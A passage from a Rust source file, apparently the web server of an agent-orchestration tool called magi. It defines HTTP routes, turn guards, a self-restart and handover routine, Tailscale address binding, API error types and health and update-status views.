1390 .route("/api/queue/{id}/done", post(queue_done))
1391 .route("/api/questions", get(questions_list))
1392 .route("/api/questions/core", get(questions_core))
1393 .route("/api/questions/origins", get(question_origins))
1394 .route("/api/questions/{id}/answer", post(question_answer))
1395 .route("/api/questions/{id}/say", post(question_say))
1396 .route("/api/questions/{id}/consult", post(question_consult))
1397 .route("/api/questions/{id}/panel", get(question_panel))
1398 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1406 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1407 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1408 .route("/api/notifications", get(notifications_list))
1409 .route("/api/notifications/read-all", post(notifications_read_all))
1410 .route("/api/notifications/{id}/read", post(notification_read))
1411 .route(
1412 "/api/notifications/{id}/dismiss",
1413 post(notification_dismiss),
1414 )
1415 .route("/api/talks", get(talks_list).post(talk_post))
1416 .route("/api/talks/page", get(talks_page))
1417 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1418 .route("/api/talks/{id}/core", get(talk_core))
1419 .route("/api/talks/{id}/sections", get(talk_sections))
1420 .route("/api/talks/{id}/say", post(talk_say))
1421 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1422 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1423 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1424 .route("/api/talks/{id}/agent", post(talk_agent))
1425 .route("/api/talks/{id}/persona", post(talk_persona))
1426 .route("/api/talks/{id}/implementers", post(talk_implementers))
1427 .route("/api/talks/{id}/close", post(talk_close))
1428 .route("/api/talks/{id}/reopen", post(talk_reopen))
1429 .route(
1435 "/api/talks/{id}/attachments",
1436 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1437 )
1438 .route(
1439 "/api/talks/{id}/attachments/{att}",
1440 get(talk_attachment_get),
1441 )
1442 .route("/api/talks/{id}/avatar", get(talk_avatar))
1443 .route("/avatars/operator.svg", get(operator_avatar))
1444 .route(
1445 "/api/avatar-settings",
1446 get(avatar_settings_get)
1447 .put(avatar_settings_put)
1448 .delete(avatar_settings_delete),
1449 )
1450 .route("/avatars/persona", get(settings_persona_avatar))
1451 .route("/avatars/magi", get(magi_avatar))
1452 .route(
1453 "/api/magi-icon",
1454 get(magi_icon_get)
1455 .put(magi_icon_put)
1456 .delete(magi_icon_delete),
1457 )
1458 .route("/api/events", get(events))
1459 .with_state(Arc::new(self))
1460 }
1461}
1462
1463#[derive(Debug)]
1469struct TalkTurnGuard {
1470 talk: String,
1471 turns: Arc<Mutex<TalkTurns>>,
1472 released: bool,
1473 lease: Option<crate::talk::TurnLease>,
1475}
1476
1477#[derive(Debug, Default)]
1484struct TalkTurns {
1485 live: HashSet<String>,
1486 queued: HashMap<String, u64>,
1487}
1488
1489enum TalkTurnStart {
1492 Claimed(TalkTurnGuard),
1493 Busy,
1494 Foreign,
1497 Pending,
1498}
1499
1500impl TalkTurnGuard {
1501 #[cfg(test)]
1502 fn owns(&self) -> bool {
1506 self.lease
1507 .as_ref()
1508 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1509 }
1510
1511 #[cfg(test)]
1512 async fn respond(
1515 &self,
1516 talk: &mut Talk,
1517 talks: &Talks,
1518 cfg: &Config,
1519 text: &str,
1520 ) -> anyhow::Result<()> {
1521 let lease = self
1522 .lease
1523 .as_ref()
1524 .context("the turn guard no longer holds its lease")?;
1525 talk::respond(lease, talk, talks, cfg, text).await
1526 }
1527
1528 fn release(mut self, live: &mut TalkTurns) {
1531 self.lease = None;
1535 live.live.remove(&self.talk);
1536 live.queued.remove(&self.talk);
1537 self.released = true;
1538 }
1539}
1540
1541impl Drop for TalkTurnGuard {
1542 fn drop(&mut self) {
1543 if self.released {
1544 return;
1545 }
1546 drop(self.lease.take());
1548 if let Ok(mut live) = self.turns.lock() {
1549 live.live.remove(&self.talk);
1550 live.queued.remove(&self.talk);
1551 }
1552 }
1553}
1554
1555struct ResumeGuard {
1557 run: String,
1558 resuming: Arc<Mutex<HashSet<String>>>,
1559}
1560
1561impl Drop for ResumeGuard {
1562 fn drop(&mut self) {
1563 if let Ok(mut live) = self.resuming.lock() {
1564 live.remove(&self.run);
1565 }
1566 }
1567}
1568
1569async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1579 const WINDOW: Duration = Duration::from_secs(10);
1580 const GAP: Duration = Duration::from_millis(250);
1581
1582 let deadline = std::time::Instant::now() + WINDOW;
1583 let mut said = false;
1584 loop {
1585 match tokio::net::TcpListener::bind(socket).await {
1586 Ok(listener) => return Ok(listener),
1587 Err(e)
1588 if e.kind() == std::io::ErrorKind::AddrInUse
1589 && std::time::Instant::now() < deadline =>
1590 {
1591 if !said {
1592 said = true;
1593 tracing::info!(
1594 "{socket} is still held - waiting up to {}s for it, \
1595 which is what a restart looks like from here",
1596 WINDOW.as_secs()
1597 );
1598 }
1599 tokio::time::sleep(GAP).await;
1600 }
1601 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1602 }
1603 }
1604}
1605
1606static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1609
1610const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1612const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1614
1615fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1617 value.is_some_and(|v| v == "1")
1618}
1619
1620fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1639 let args: Vec<String> = std::env::args().skip(1).collect();
1640 updater::log_step(
1641 home,
1642 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1643 );
1644 let log_path = home.join(WEB_LOG);
1645 let open_log = || {
1646 std::fs::create_dir_all(home)?;
1647 std::fs::OpenOptions::new()
1648 .create(true)
1649 .append(true)
1650 .open(&log_path)
1651 };
1652 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1653 Ok(pair) => (
1654 std::process::Stdio::from(pair.0),
1655 std::process::Stdio::from(pair.1),
1656 ),
1657 Err(e) => {
1658 updater::log_warn(
1659 home,
1660 &format!(
1661 "could not open {}: {e}; the successor logs nowhere",
1662 log_path.display()
1663 ),
1664 );
1665 (std::process::Stdio::null(), std::process::Stdio::null())
1666 }
1667 };
1668
1669 let mut cmd = std::process::Command::new(exe);
1670 cmd.env_remove(RESUME_LOOP_ENV);
1671 cmd.env(RESTART_PORT_ENV, port.to_string());
1672 cmd.args(&args)
1673 .stdin(std::process::Stdio::null())
1674 .stdout(out)
1675 .stderr(err);
1676 #[cfg(windows)]
1677 {
1678 use std::os::windows::process::CommandExt as _;
1679 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1682 }
1683 let child = cmd.spawn().context("start the successor")?;
1684 Ok(child.id())
1685}
1686
1687const WEB_LOG: &str = "web.log";
1689
1690async fn wait_for_handover(signal: &Notify) {
1694 signal.notified().await;
1695}
1696
1697pub async fn serve(opts: Opts) -> Result<()> {
1700 crate::worker::remember_current_executable()?;
1703 let executable = std::env::current_exe().context("find the installed web executable")?;
1704 let (addr, warning) = resolve_bind(&opts.bind);
1705 if let Some(warning) = warning {
1706 tracing::warn!("{warning}");
1707 }
1708
1709 report::set_color(false);
1715
1716 let repo = normalize_default_repo(opts.repo).await;
1717 let ui = Ui::open(repo).with_merge(opts.merge);
1718 let home = ui.home.clone();
1723 let repo = ui.repo.clone();
1724 let admissions = Arc::clone(&ui.admissions);
1725 updater::reconcile_after_restart(&home);
1730 updater::log_step(
1731 &home,
1732 &format!(
1733 "web process started (version {}); handover log {}, successor output {}",
1734 env!("CARGO_PKG_VERSION"),
1735 updater::log_path(&home).display(),
1736 home.join(WEB_LOG).display()
1737 ),
1738 );
1739 updater::spawn_watchdog(home.clone());
1740 tokio::spawn(run_update_recheck(repo, home.clone()));
1749 let port = if opts.port == 0 {
1750 std::env::var(RESTART_PORT_ENV)
1751 .ok()
1752 .and_then(|value| value.parse::<u16>().ok())
1753 .filter(|port| *port != 0)
1754 .unwrap_or(0)
1755 } else {
1756 opts.port
1757 };
1758 let socket = SocketAddr::new(addr, port);
1759 let listener = bind_waiting(socket).await?;
1760 let bound = listener.local_addr().context("read bound web address")?;
1761 let port = bound.port();
1762 let url = format!("http://{bound}");
1763 tracing::info!(
1764 "magi web UI on {url} - there is no authentication, so anyone who can \
1765 reach this address can file and hold tasks: the tailnet is the \
1766 security boundary"
1767 );
1768 if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1770 ui.start_detached_loop()
1771 .await
1772 .map_err(|e| anyhow::anyhow!(e.message))?;
1773 }
1774 if opts.open {
1775 println!("{url}");
1779 }
1780
1781 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1784 let interrupted = async {
1785 if tokio::signal::ctrl_c().await.is_err() {
1786 std::future::pending::<()>().await;
1791 }
1792 };
1793 let handover = wait_for_handover(&HANDOVER);
1794 let outcome = tokio::select! {
1795 joined = &mut served => match joined {
1796 Ok(outcome) => outcome.context("serve the web UI"),
1797 Err(e) => Err(e).context("the task serving the web UI ended"),
1798 },
1799 () = interrupted => {
1800 tracing::info!("shutting down the web UI; detached workers continue");
1801 close_admissions(&admissions).await;
1802 served.abort();
1803 let _ = served.await;
1804 Ok(())
1805 }
1806 () = handover => {
1807 let successor_home = home.clone();
1808 hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
1809 }
1810 };
1811 updater::log_step(
1812 &home,
1813 &match &outcome {
1814 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1815 Err(e) => format!("serve: returning an error: {e:#}"),
1816 },
1817 );
1818 outcome
1819}
1820
1821async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1842 if repo != FsPath::new(".") {
1843 return repo;
1844 }
1845 let Ok(canonical) = repo.canonicalize() else {
1846 return repo;
1847 };
1848 if git::toplevel(&canonical).await.is_ok() {
1849 return repo;
1850 }
1851 let Some(home) = dirs::home_dir() else {
1852 return repo;
1853 };
1854 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1855 Some(found) => {
1856 tracing::info!(
1857 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1858 canonical.display(),
1859 found.path.display(),
1860 found.reason,
1861 );
1862 found.path
1863 }
1864 None => repo,
1865 }
1866}
1867
1868async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
1871 *admissions.write().await = true;
1872}
1873
1874async fn hand_over(
1877 home: &FsPath,
1878 admissions: &tokio::sync::RwLock<bool>,
1879 served: tokio::task::JoinHandle<std::io::Result<()>>,
1880 successor: impl FnOnce() -> Result<u32>,
1881) -> Result<()> {
1882 close_admissions(admissions).await;
1883 if let Some(mut progress) = updater::read_progress(home) {
1884 progress.advance(updater::Stage::Restarting);
1885 progress.detail =
1886 Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
1887 updater::write_progress_logged(home, &progress);
1888 }
1889 updater::log_step(
1890 home,
1891 "restarting scheduler without parking execution workers",
1892 );
1893 let scheduler = daemon::restart_detached(home).await;
1894 if let Err(error) = &scheduler {
1895 let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
1896 updater::log_warn(
1897 home,
1898 &format!("scheduler restart failed; restoring the web UI: {error:#}"),
1899 );
1900 }
1901 updater::log_step(home, "releasing the web listener");
1902 served.abort();
1903 let _ = served.await;
1904 updater::log_step(home, "web listener released; starting the successor");
1905 match successor() {
1906 Ok(pid) => {
1907 updater::log_step(home, &format!("successor started, pid {pid}"));
1908 scheduler
1909 }
1910 Err(e) => {
1911 let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
1912 Err(e)
1913 }
1914 }
1915}
1916
1917pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1923 match bind {
1924 Bind::Addr(addr) => (*addr, None),
1925 Bind::Auto => match tailscale_ip() {
1926 Ok(ip) => (IpAddr::V4(ip), None),
1927 Err(why) => (
1928 IpAddr::V4(Ipv4Addr::LOCALHOST),
1929 Some(format!(
1930 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1931 local-only and a phone cannot reach it; start Tailscale \
1932 or pass --bind <addr>"
1933 )),
1934 ),
1935 },
1936 }
1937}
1938
1939fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1947 let out = std::process::Command::new("tailscale")
1948 .args(["ip", "-4"])
1949 .quiet()
1950 .output()
1951 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1952 if !out.status.success() {
1953 let why = String::from_utf8_lossy(&out.stderr);
1954 let why = why.trim();
1955 return Err(format!(
1956 "`tailscale ip -4` failed ({}){}",
1957 out.status,
1958 if why.is_empty() {
1959 String::new()
1960 } else {
1961 format!(": {why}")
1962 }
1963 ));
1964 }
1965 String::from_utf8_lossy(&out.stdout)
1966 .lines()
1967 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1968 .find(is_tailnet)
1969 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1970}
1971
1972fn is_tailnet(ip: &Ipv4Addr) -> bool {
1974 let o = ip.octets();
1975 o[0] == 100 && (64..=127).contains(&o[1])
1976}
1977
1978type ApiResult<T> = std::result::Result<T, ApiError>;
1982
1983#[derive(Debug)]
1985struct ApiError {
1986 status: StatusCode,
1987 message: String,
1988 text_reason: Option<crate::question_delivery::UnavailableReason>,
1989}
1990
1991impl ApiError {
1992 fn bad_request(message: impl Into<String>) -> Self {
1994 Self {
1995 text_reason: None,
1996 status: StatusCode::BAD_REQUEST,
1997 message: message.into(),
1998 }
1999 }
2000
2001 fn not_found(message: impl Into<String>) -> Self {
2003 Self {
2004 text_reason: None,
2005 status: StatusCode::NOT_FOUND,
2006 message: message.into(),
2007 }
2008 }
2009
2010 fn with_status(mut self, status: StatusCode) -> Self {
2013 self.status = status;
2014 self
2015 }
2016
2017 fn bad_request_from(e: anyhow::Error) -> Self {
2021 Self::bad_request(format!("{e:#}"))
2022 }
2023
2024 fn conflict(message: impl Into<String>) -> Self {
2025 Self {
2026 text_reason: None,
2027 status: StatusCode::CONFLICT,
2028 message: message.into(),
2029 }
2030 }
2031
2032 fn internal(message: impl Into<String>) -> Self {
2034 Self {
2035 text_reason: None,
2036 status: StatusCode::INTERNAL_SERVER_ERROR,
2037 message: message.into(),
2038 }
2039 }
2040}
2041
2042impl From<anyhow::Error> for ApiError {
2043 fn from(e: anyhow::Error) -> Self {
2048 Self::internal(format!("{e:#}"))
2049 }
2050}
2051
2052impl IntoResponse for ApiError {
2053 fn into_response(self) -> Response {
2054 let mut body = serde_json::json!({ "error": self.message });
2055 if let Some(reason) = self.text_reason {
2056 body["code"] = serde_json::json!("question_text_unavailable");
2057 body["reason"] = serde_json::json!(reason);
2058 }
2059 (self.status, Json(body)).into_response()
2060 }
2061}
2062
2063async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2072where
2073 T: Send + 'static,
2074{
2075 #[cfg(test)]
2076 let job = request_cost::carry(job);
2077 match tokio::task::spawn_blocking(job).await {
2078 Ok(result) => result,
2079 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2080 }
2081}
2082
2083const ASSET_CACHE: &str = "no-cache, must-revalidate";
2101
2102fn asset_etag() -> &'static str {
2109 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2110 format!(
2111 "\"{}-{}\"",
2112 env!("CARGO_PKG_VERSION"),
2113 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2118 )
2119 });
2120 &TAG
2121}
2122
2123fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2125 [
2126 (header::CONTENT_TYPE, mime),
2127 (header::CACHE_CONTROL, ASSET_CACHE),
2128 (header::ETAG, asset_etag()),
2129 ]
2130}
2131
2132fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2140 let tag = asset_etag();
2141 let known = headers
2142 .get(header::IF_NONE_MATCH)
2143 .and_then(|v| v.to_str().ok())
2144 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2148 if known {
2149 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2150 }
2151 (asset_headers(mime), body).into_response()
2152}
2153
2154async fn index(headers: header::HeaderMap) -> Response {
2155 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2156}
2157
2158async fn app_css(headers: header::HeaderMap) -> Response {
2159 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2160}
2161
2162async fn app_js(headers: header::HeaderMap) -> Response {
2163 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2164}
2165
2166#[derive(Debug, Serialize)]
2168struct HealthView {
2169 version: &'static str,
2170 home: String,
2171 queue_rev: u64,
2172 runs_rev: u64,
2173 questions_rev: u64,
2185 talks_rev: u64,
2187 notifications_rev: u64,
2189 notifications_unread: usize,
2192 loop_rev: u64,
2197 runs_unreadable: usize,
2205 disk: DiskView,
2213 questions_open: usize,
2219 questions_needs_owner: usize,
2229 daemon: DaemonView,
2230 #[serde(rename = "loop")]
2236 looping: LoopView,
2237 update: UpdateView,
2244 upgrade: Option<UpgradeProgressView>,
2248 jobs: Vec<WorkerView>,
2251 upgrade_request_error: Option<UpgradeRequestFailure>,
2252}
2253
2254#[derive(Debug, Serialize)]
2257struct WorkerView {
2258 id: String,
2259 kind: String,
2260 key: String,
2261 pid: Option<u32>,
2262 status: crate::worker::Status,
2263 generation: String,
2264 version: Option<String>,
2265 queue_owned: bool,
2266}
2267
2268impl From<crate::worker::Job> for WorkerView {
2269 fn from(job: crate::worker::Job) -> Self {
2270 let queue_owned = job.kind == "task"
2271 && job
2272 .payload
2273 .get("standalone")
2274 .and_then(serde_json::Value::as_bool)
2275 != Some(true);
2276 Self {
2277 id: job.id,
2278 kind: job.kind,
2279 key: job.key,
2280 pid: job.pid,
2281 status: job.status,
2282 generation: job.generation,
2283 version: job.version,
2284 queue_owned,
2285 }
2286 }
2287}
2288
2289#[derive(Debug, Serialize)]
2296struct UpdateView {
2297 available: bool,
2299 to: Option<String>,
2301}
2302
2303#[derive(Debug, Serialize)]
2305struct UpgradeProgressView {
2306 stage: updater::Stage,
2307 from: String,
2308 to: Option<String>,
2309 waiting_on: Option<String>,
2312 started_at: Timestamp,
2313 updated_at: Timestamp,
2314 detail: Option<String>,
2315 stuck_for_secs: Option<i64>,
2318 stuck_kind: Option<updater::StallKind>,
2321 handover_alive: bool,
2324}
2325
2326fn should_spawn_recheck(cfg: &Update) -> bool {
2333 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2334}
2335
2336fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2348 if progress.is_some_and(|p| !p.stage.terminal()) {
2349 return false;
2350 }
2351 checker.should_check()
2352}
2353
2354fn recheck_poll_period(cfg: &Update) -> Duration {
2367 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2368}
2369
2370async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2387 loop {
2388 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2389 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2390 if !should_spawn_recheck(&cfg.update) {
2391 continue;
2392 }
2393 let Some(checker) = updater::Checker::new(&cfg.update) else {
2394 continue;
2395 };
2396 let progress = updater::read_progress(&home);
2397 if !update_recheck_due(&checker, progress.as_ref()) {
2398 continue;
2399 }
2400 if let Err(e) = checker.newer_release().await {
2401 tracing::warn!("background update recheck failed: {e:#}");
2402 }
2403 }
2404}
2405
2406fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2412 let default;
2413 let cfg = match cfg {
2414 Some(cfg) => cfg,
2415 None => {
2416 default = Config::default();
2417 &default
2418 }
2419 };
2420 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2421 match latest {
2422 Some(latest) => UpdateView {
2423 available: true,
2424 to: Some(latest.tag_name),
2425 },
2426 None => UpdateView {
2427 available: false,
2428 to: None,
2429 },
2430 }
2431}
2432
2433fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2439 let now = Timestamp::now();
2440 let lease = updater::read_lease(&ui.home);
2441 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2442 let run_id = alive
2443 .and_then(|l| l.parked_run.as_deref())
2444 .or(progress.parked_run.as_deref());
2445 let parking = progress.stage == updater::Stage::Parking;
2446 let waited = alive.map_or_else(String::new, |l| {
2447 let secs = updater::waited_secs(l, now);
2448 format!(" (waited {} min so far)", secs / 60)
2449 });
2450 let run_text = run_id
2451 .filter(|_| parking)
2452 .map(|id| match read_run(&ui.runs, id).ok() {
2453 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2454 None => format!("run {id} is finishing"),
2455 });
2456 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2457 .filter(|t| parking && !t.is_empty())
2458 .map(|t| format!("{t} finishing"));
2459 let waiting_on = match (run_text, talks_text) {
2460 (None, None) => None,
2461 (run, talks) => {
2462 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2463 Some(format!(
2464 "{} before the address is handed over{waited}",
2465 parts.join(" and ")
2466 ))
2467 }
2468 };
2469 let detail = progress
2470 .detail
2471 .clone()
2472 .or_else(|| updater::read_note(&ui.home, &progress));
2473 let stalled = updater::stall(&progress, lease.as_ref(), now);
2474 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2475 UpgradeProgressView {
2476 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2477 stuck_kind: stalled.map(|s| s.kind),
2478 handover_alive: alive.is_some(),
2479 stage: progress.stage,
2480 from: progress.from,
2481 to: progress.to,
2482 waiting_on,
2483 started_at: progress.started_at,
2484 updated_at: progress.updated_at,
2485 detail,
2486 }
2487}
2488
2489#[derive(Debug, Serialize)]
2494struct DiskView {
2495 #[serde(skip_serializing_if = "Option::is_none")]
2497 free_bytes: Option<u64>,
2498 runs_bytes: u64,
2500 worktrees_bytes: u64,
2502 #[serde(skip_serializing_if = "Option::is_none")]
2504 cache_bytes: Option<u64>,
2505 retention: Option<crate::retention::Report>,
2507}
2508
2509impl DiskView {
2510 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2512 let cache_bytes = cfg
2513 .and_then(|cfg| cfg.cache_dir())
2514 .map(|dir| crate::disk::dir_size(&dir));
2515 Self {
2516 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2517 runs_bytes: crate::disk::dir_size(&ui.runs),
2518 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2519 cache_bytes,
2520 retention: ui
2521 .runs
2522 .parent()
2523 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2524 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2525 }
2526 }
2527}
2528
2529#[derive(Debug, Serialize)]
2531struct DaemonView {
2532 running: bool,
2533 idle: Option<bool>,
2534 pid: Option<u32>,
2535 current: Vec<daemon::Current>,
2539 completed: Option<u64>,
2540 stale_for_secs: Option<i64>,
2541}
2542
2543impl DaemonView {
2544 fn of(status: Option<daemon::Reading>) -> Self {
2548 let Some(status) = status else {
2549 return Self {
2550 running: false,
2551 idle: None,
2552 pid: None,
2553 current: Vec::new(),
2554 completed: None,
2555 stale_for_secs: None,
2556 };
2557 };
2558 let now = Timestamp::now();
2559 let age = status.age_secs(now);
2560 Self {
2561 running: status.running(now),
2562 idle: Some(status.idle),
2563 pid: status.pid,
2564 current: status.current,
2565 completed: Some(status.completed),
2566 stale_for_secs: age,
2567 }
2568 }
2569}
2570
2571async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2572 let revisions = ui.monitor.revisions(&ui).await?;
2573 blocking(move || {
2574 let reading = daemon::read_status(&ui.home);
2578 let loop_rev = ui.lock_loop().rev;
2582 let cfg = deputy_config(&ui.repo);
2585 let update = cached_update_view(cfg.as_ref());
2586 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2587 let questions = ui.questions.list();
2588 let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
2589 #[cfg(not(test))]
2590 let looping = ui.runtime_loop_view(reading.clone(), &jobs);
2591 #[cfg(test)]
2592 let looping = ui.loop_view(reading.clone());
2593 Ok(Json(HealthView {
2594 jobs: jobs.into_iter().map(WorkerView::from).collect(),
2595 version: env!("CARGO_PKG_VERSION"),
2596 home: ui.home.display().to_string(),
2597 queue_rev: revisions.0,
2598 runs_rev: revisions.1,
2599 questions_rev: revisions.2,
2600 talks_rev: revisions.3,
2601 notifications_rev: stamps_revision(
2602 &try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?,
2603 ),
2604 notifications_unread: ui.notices.count_unread(),
2605 loop_rev,
2606 runs_unreadable: runs_unreadable(&ui.runs),
2607 questions_open: questions.iter().filter(|q| q.status.open()).count(),
2608 questions_needs_owner: questions
2609 .iter()
2610 .filter(|q| {
2611 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2612 })
2613 .count(),
2614 daemon: DaemonView::of(reading),
2615 looping,
2616 disk: DiskView::of(&ui, cfg.as_ref()),
2617 update,
2618 upgrade,
2619 upgrade_request_error: ui
2620 .upgrade_request_error
2621 .lock()
2622 .unwrap_or_else(PoisonError::into_inner)
2623 .clone(),
2624 }))
2625 })
2626 .await
2627}
2628
2629#[derive(Debug, Serialize)]
2631struct LoopView {
2632 running: bool,
2634 stopping: bool,
2636 parking: bool,
2638 owned: bool,
2640 repo: String,
2643 merge: Option<String>,
2646 last_error: Option<String>,
2654 daemon: DaemonView,
2657}
2658
2659#[derive(Debug, Clone, Copy)]
2664struct Foreign {
2665 pid: Option<u32>,
2667}
2668
2669impl Foreign {
2670 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2673 if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
2677 return None;
2678 }
2679 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2680 }
2681
2682 fn who(&self) -> String {
2685 match self.pid {
2686 Some(pid) => format!("another magi process (pid {pid})"),
2687 None => "another magi process".to_owned(),
2688 }
2689 }
2690}
2691
2692#[cfg(test)]
2697type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2698
2699#[cfg(test)]
2701fn launch_daemon(
2702 opts: daemon::Opts,
2703 stop: daemon::Stop,
2704) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2705 Box::pin(daemon::serve_until(opts, stop))
2706}
2707
2708#[derive(Debug, Default)]
2710struct LoopState {
2711 #[cfg(test)]
2713 live: Option<Live>,
2714 rev: u64,
2717 last_error: Option<String>,
2720}
2721
2722#[cfg(test)]
2724#[derive(Debug)]
2725struct Live {
2726 stop: daemon::Stop,
2728 handle: tokio::task::JoinHandle<()>,
2733 opts: daemon::Opts,
2737}
2738
2739#[cfg(test)]
2740impl Live {
2741 fn alive(&self) -> bool {
2743 !self.handle.is_finished()
2744 }
2745}
2746
2747fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2754 state.lock().unwrap_or_else(PoisonError::into_inner)
2755}
2756
2757async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2759 blocking(move || {
2760 let reading = daemon::read_status(&ui.home);
2761 #[cfg(not(test))]
2762 let view = ui.try_loop_view(reading)?;
2763 #[cfg(test)]
2764 let view = ui.loop_view(reading);
2765 Ok(Json(view))
2766 })
2767 .await
2768}
2769
2770#[derive(Debug, Deserialize)]
2776#[serde(deny_unknown_fields)]
2777struct LoopCommand {
2778 running: bool,
2779 #[serde(default)]
2789 park: bool,
2790}
2791
2792async fn loop_post(
2795 State(ui): State<Arc<Ui>>,
2796 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2797) -> ApiResult<Json<LoopView>> {
2798 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2801 #[cfg(not(test))]
2802 {
2803 if body.running {
2804 ui.start_detached_loop().await?;
2805 } else {
2806 let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
2807 ui.stop_loop(foreign, body.park)?;
2808 }
2809 Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
2810 }
2811 #[cfg(test)]
2812 {
2813 blocking(move || {
2814 let reading = daemon::read_status(&ui.home);
2815 let foreign = Foreign::of(reading.as_ref());
2816 if body.running {
2817 ui.start_loop(foreign)?;
2818 } else {
2819 ui.stop_loop(foreign, body.park)?;
2820 }
2821 Ok(Json(ui.loop_view(reading)))
2822 })
2823 .await
2824 }
2825}
2826
2827#[derive(Debug, Serialize)]
2829struct UpgradeView {
2830 from: String,
2832 to: Option<String>,
2834 detail: String,
2836}
2837
2838fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2841 progress.filter(|p| !p.stage.terminal())
2842}
2843
2844fn upgrade_retry_after(message: &str) -> Option<u64> {
2847 if !message.contains("GitHub") || !message.contains("rate limit") {
2848 return None;
2849 }
2850 if message.contains("retry now") {
2851 return Some(0);
2852 }
2853 let duration = message
2854 .split_once("resets in ")
2855 .or_else(|| message.split_once("retry after "))?
2856 .1
2857 .split_once(')')?
2858 .0;
2859 let mut rest = duration.trim();
2860 if rest.is_empty() {
2861 return None;
2862 }
2863 let mut total = 0u64;
2864 while !rest.is_empty() {
2865 let n = rest.find(|c: char| !c.is_ascii_digit())?;
